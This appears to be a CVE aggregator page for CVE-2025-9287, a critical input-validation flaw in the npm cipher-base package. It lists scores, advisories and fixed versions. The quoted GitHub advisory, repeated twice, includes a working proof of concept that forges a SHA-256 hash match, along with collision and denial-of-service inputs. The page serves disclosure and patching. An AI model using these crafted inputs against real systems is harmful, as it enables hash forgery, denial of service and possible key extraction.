Every CVE Search/ Get API key

CVE-2025-9287

Missing type checks leading to hash rewind and passing on crafted data

9.1 CriticalFix available

Improper Input Validation vulnerability in cipher-base allows Input Data Manipulation.This issue affects cipher-base: through 1.0.4.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
High
Privileges needed
None
User interaction
None

What an attacker can affect

Confidentiality
None
Integrity
High
Availability
High

Exploit likelihood

0.55%Up 0.5 points since Aug 21, 2025
90%50%10%1%

What each source reports

CVE List Score used 9.1

Missing type checks leading to hash rewind and passing on crafted data

Improper Input Validation vulnerability in cipher-base allows Input Data Manipulation.This issue affects cipher-base: through 1.0.4.

Record
CVE-2025-9287
CVSS 4.0
9.1 CriticalCVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:H/VA:H/SC:H/SI:H/SA:N
Weakness
CWE-20
Updated
2026-11-02
EUVDEUVD-2025-25405 9.1

Improper Input Validation vulnerability in cipher-base allows Input Data Manipulation.This issue affects cipher-base: through 1.0.4.

Record
EUVD-2025-25405
CVSS 4.0
9.1 CriticalCVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:H/VA:H/SC:H/SI:H/SA:N
Updated
2026-11-02
GitHub AdvisoriesGHSA-cpq7-6gpm-g9rc 9.1

cipher-base is missing type checks, leading to hash rewind and passing on crafted data

Summary

This affects e.g. create-hash (and crypto-browserify), so I'll describe the issue against that package Also affects create-hmac and other packages

Node.js createHash works only on strings or instances of Buffer, TypedArray, or DataView.

Missing input type checks (in npm create-hash polyfill of Node.js createHash) can allow types other than a well-formed Buffer or string, resulting in invalid values, hanging and rewinding the hash state (including turning a tagged hash into an untagged hash), or other generally undefined behaviour.

Details

See PoC

PoC

const createHash = require('create-hash/browser.js')
const { randomBytes } = require('crypto')

const sha256 = (...messages) => {
  const hash = createHash('sha256')
  messages.forEach((m) => hash.update(m))
  return hash.digest('hex')
}

const validMessage = [randomBytes(32), randomBytes(32), randomBytes(32)] // whatever

const payload = forgeHash(Buffer.concat(validMessage), 'Hashed input means safe')
const receivedMessage = JSON.parse(payload) // e.g. over network, whatever

console.log(sha256(...validMessage))
console.log(sha256(...receivedMessage))
console.log(receivedMessage[0])

Output:

9ef59a6a745990b09bbf1d99abe43a4308b48ce365935e29eb4c9000984ee9a9
9ef59a6a745990b09bbf1d99abe43a4308b48ce365935e29eb4c9000984ee9a9
Hashed input means safe

This works with:

const forgeHash = (valid, wanted) => JSON.stringify([wanted, { length: -wanted.length }, { ...valid, length: valid.length }])

But there are other types of input which lead to unchecked results

Impact

  1. Hash state rewind on {length: -x}. This is behind the PoC above, also this way an attacker can turn a tagged hash in cryptographic libraries into an untagged hash.
  2. Value miscalculation, e.g. a collision is generated by { length: buf.length, ...buf, 0: buf[0] + 256 } This will result in the same hash as of buf, but can be treated by other code differently (e.g. bn.js)
  3. DoS on {length:'1e99'}
  4. On a subsequent system, (2) can turn into matching hashes but different numeric representations, leading to issues up to private key extraction from cryptography libraries (as nonce is often generated through a hash, and matching nonces for different values often immediately leads to private key restoration, like GHSA-vjh7-7g9h-fjfh)
  5. Also, other typed arrays results are invalid, e.g. returned hash of new Uint16Array(5) is the same as new Uint8Array(5), not new Uint16Array(10) as it should have been (and is in Node.js crypto) -- same for arrays with values non-zero, their hashes are just truncated to %256 instead of converted to correct bytelength
Record
GHSA-cpq7-6gpm-g9rc
CVSS 4.0
9.1 CriticalCVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:H/VA:H/SC:H/SI:H/SA:N
CVSS 3.1
9.1 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H
Weakness
CWE-20
Updated
2026-11-02
NVD 9.1

Improper Input Validation vulnerability in cipher-base allows Input Data Manipulation.This issue affects cipher-base: through 1.0.4.

Record
CVE-2025-9287
CVSS 4.0
9.1 CriticalCVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:H/VA:H/SC:H/SI:H/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
CVSS 3.1
9.1 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H
Weakness
CWE-20
Updated
2026-11-02
OSV 9.1

Missing type checks leading to hash rewind and passing on crafted data

Improper Input Validation vulnerability in cipher-base allows Input Data Manipulation.This issue affects cipher-base: through 1.0.4.

Record
CVE-2025-9287
CVSS 4.0
9.1 CriticalCVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:H/VA:H/SC:H/SI:H/SA:N
Weakness
CWE-20
Updated
2026-11-02
OSVDEBIAN-CVE-2025-9287 9.1

Improper Input Validation vulnerability in cipher-base allows Input Data Manipulation.This issue affects cipher-base: through 1.0.4.

Record
DEBIAN-CVE-2025-9287
CVSS 3.1
9.1 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H
Updated
2026-11-02
Show 6 moreShow less
OSVGHSA-cpq7-6gpm-g9rc 9.1

cipher-base is missing type checks, leading to hash rewind and passing on crafted data

Summary

This affects e.g. create-hash (and crypto-browserify), so I'll describe the issue against that package Also affects create-hmac and other packages

Node.js createHash works only on strings or instances of Buffer, TypedArray, or DataView.

Missing input type checks (in npm create-hash polyfill of Node.js createHash) can allow types other than a well-formed Buffer or string, resulting in invalid values, hanging and rewinding the hash state (including turning a tagged hash into an untagged hash), or other generally undefined behaviour.

Details

See PoC

PoC

const createHash = require('create-hash/browser.js')
const { randomBytes } = require('crypto')

const sha256 = (...messages) => {
  const hash = createHash('sha256')
  messages.forEach((m) => hash.update(m))
  return hash.digest('hex')
}

const validMessage = [randomBytes(32), randomBytes(32), randomBytes(32)] // whatever

const payload = forgeHash(Buffer.concat(validMessage), 'Hashed input means safe')
const receivedMessage = JSON.parse(payload) // e.g. over network, whatever

console.log(sha256(...validMessage))
console.log(sha256(...receivedMessage))
console.log(receivedMessage[0])

Output:

9ef59a6a745990b09bbf1d99abe43a4308b48ce365935e29eb4c9000984ee9a9
9ef59a6a745990b09bbf1d99abe43a4308b48ce365935e29eb4c9000984ee9a9
Hashed input means safe

This works with:

const forgeHash = (valid, wanted) => JSON.stringify([wanted, { length: -wanted.length }, { ...valid, length: valid.length }])

But there are other types of input which lead to unchecked results

Impact

  1. Hash state rewind on {length: -x}. This is behind the PoC above, also this way an attacker can turn a tagged hash in cryptographic libraries into an untagged hash.
  2. Value miscalculation, e.g. a collision is generated by { length: buf.length, ...buf, 0: buf[0] + 256 } This will result in the same hash as of buf, but can be treated by other code differently (e.g. bn.js)
  3. DoS on {length:'1e99'}
  4. On a subsequent system, (2) can turn into matching hashes but different numeric representations, leading to issues up to private key extraction from cryptography libraries (as nonce is often generated through a hash, and matching nonces for different values often immediately leads to private key restoration, like GHSA-vjh7-7g9h-fjfh)
  5. Also, other typed arrays results are invalid, e.g. returned hash of new Uint16Array(5) is the same as new Uint8Array(5), not new Uint16Array(10) as it should have been (and is in Node.js crypto) -- same for arrays with values non-zero, their hashes are just truncated to %256 instead of converted to correct bytelength
Record
GHSA-cpq7-6gpm-g9rc
CVSS 4.0
9.1 CriticalCVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:H/VA:H/SC:H/SI:H/SA:N
CVSS 3.1
9.1 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H
Weakness
CWE-20
Updated
2026-11-02
OSVUBUNTU-CVE-2025-9287 9.1

Improper Input Validation vulnerability in cipher-base allows Input Data Manipulation.This issue affects cipher-base: through 1.0.4.

Record
UBUNTU-CVE-2025-9287
CVSS 4.0
9.1 CriticalCVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:H/VA:H/SC:H/SI:H/SA:N
CVSS 3.1
9.1 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H
Updated
2026-11-02
OSVCLSA-2026-1779670116 No score

TuxCare security update for cipher-base (1 CVE)

TuxCare rebuilt cipher-base to address 1 CVE. Fixed in 1.0.4-tuxcare.1.

Record
CLSA-2026-1779670116
Updated
2026-11-02
OSVopenSUSE-SU-2025:15484-1 No score

jupyter-bqplot-jupyterlab-0.5.46-12.1 on GA media

These are all security issues fixed in the jupyter-bqplot-jupyterlab-0.5.46-12.1 package on the GA media of openSUSE Tumbleweed.

Record
openSUSE-SU-2025:15484-1
Updated
2026-11-02
OSVROOT-APP-NPM-CVE-2025-9287 No score

CVE-2025-9287 in cipher-base - Patched by Root

Root has patched CVE-2025-9287 in the cipher-base package for Root:npm. Multiple fixed versions available.

Record
ROOT-APP-NPM-CVE-2025-9287
Updated
2026-11-02
OSVUSN-7746-1 No score

node-cipher-base vulnerability

Nikita Skovoroda discovered that cipher-base did not properly manage certain inputs. An attacker could possibly use this issue to manipulate the internal state of hash functions, resulting in hash collisions, denial of service, or other unspecified impact.

Record
USN-7746-1
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
cipher-base
npm
through 1.0.4
1.0.5
cipher-base
TuxCare:npm
1.0.4-tuxcare.0 up to 1.0.4-tuxcare.1, plus listed versions
1.0.4
1.0.4-tuxcare.1
node-cipher-base
Debian:12
before 1.0.4-6+deb12u1, plus listed versions
1.0.4-6
1.0.4-6+deb12u1
node-cipher-base
Debian:13
before 1.0.4-6+deb13u1, plus listed versions
1.0.4-6
1.0.4-6+deb13u1
node-cipher-base
Debian:14
before 1.0.6-1, plus listed versions
1.0.4-6
1.0.6-1
node-cipher-base
Debian:11
before 1.0.4-4+deb11u1, plus listed versions
1.0.4-4
1.0.4-4+deb11u1
cipher-base
npm
before 1.0.5
1.0.5
cipher-base
Root:npm
before 1.0.4-aikido.1
1.0.4-aikido.1
@rootio/cipher-base
Root:npm
before 1.0.4-root.io.1
1.0.4-root.io.1
node-cipher-base
Ubuntu:Pro:18.04:LTS
before 1.0.4-1ubuntu0.1~esm2, plus listed versions
1.0.4-1
1.0.4-1ubuntu0.1~esm2
Show 4 moreShow less
Affected packages
PackageAffectedFixed
node-cipher-base
Ubuntu:Pro:20.04:LTS
before 1.0.4-4ubuntu0.1~esm2, plus listed versions
1.0.4-4
1.0.4-4ubuntu0.1~esm2
node-cipher-base
Ubuntu:22.04:LTS
before 1.0.4-6+deb13u1ubuntu0.22.04.1, plus listed versions
1.0.4-41.0.4-51.0.4-6
1.0.4-6+deb13u1ubuntu0.22.04.1
node-cipher-base
Ubuntu:24.04:LTS
before 1.0.4-6+deb13u1ubuntu0.24.04.1, plus listed versions
1.0.4-6
1.0.4-6+deb13u1ubuntu0.24.04.1
python-bqplot
openSUSE:Tumbleweed
before 0.12.45-12.1
0.12.45-12.1

History

History
RecordedChangedSources
first indexedCVE List, EUVD, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2025-9287 is a critical vulnerability (CVSS 9.1) in Browserify Cipher-base, published August 20, 2025. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.55%, the 46th percentile. Fixed in cipher-base 1.0.5.

References

Show 8 moreShow less
MoveEnter Open